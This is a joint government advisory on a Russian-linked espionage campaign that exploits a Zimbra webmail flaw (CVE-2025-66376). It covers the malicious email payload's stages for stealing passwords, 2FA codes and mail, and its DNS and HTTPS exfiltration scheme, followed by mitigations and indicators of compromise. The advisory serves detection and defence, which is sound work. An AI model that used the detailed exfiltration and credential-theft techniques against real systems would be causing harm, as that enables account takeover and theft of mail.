To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 Národní úřad pro kybernetickou a informační bezpečnost
2 Forsvarets Efterretningstjeneste
3 Välisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction gĂŠnĂŠrale de la sĂŠcuritĂŠ intĂŠrieure
7 Agence nationale de la sécurité des systèmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 Służba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt Cybersäkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

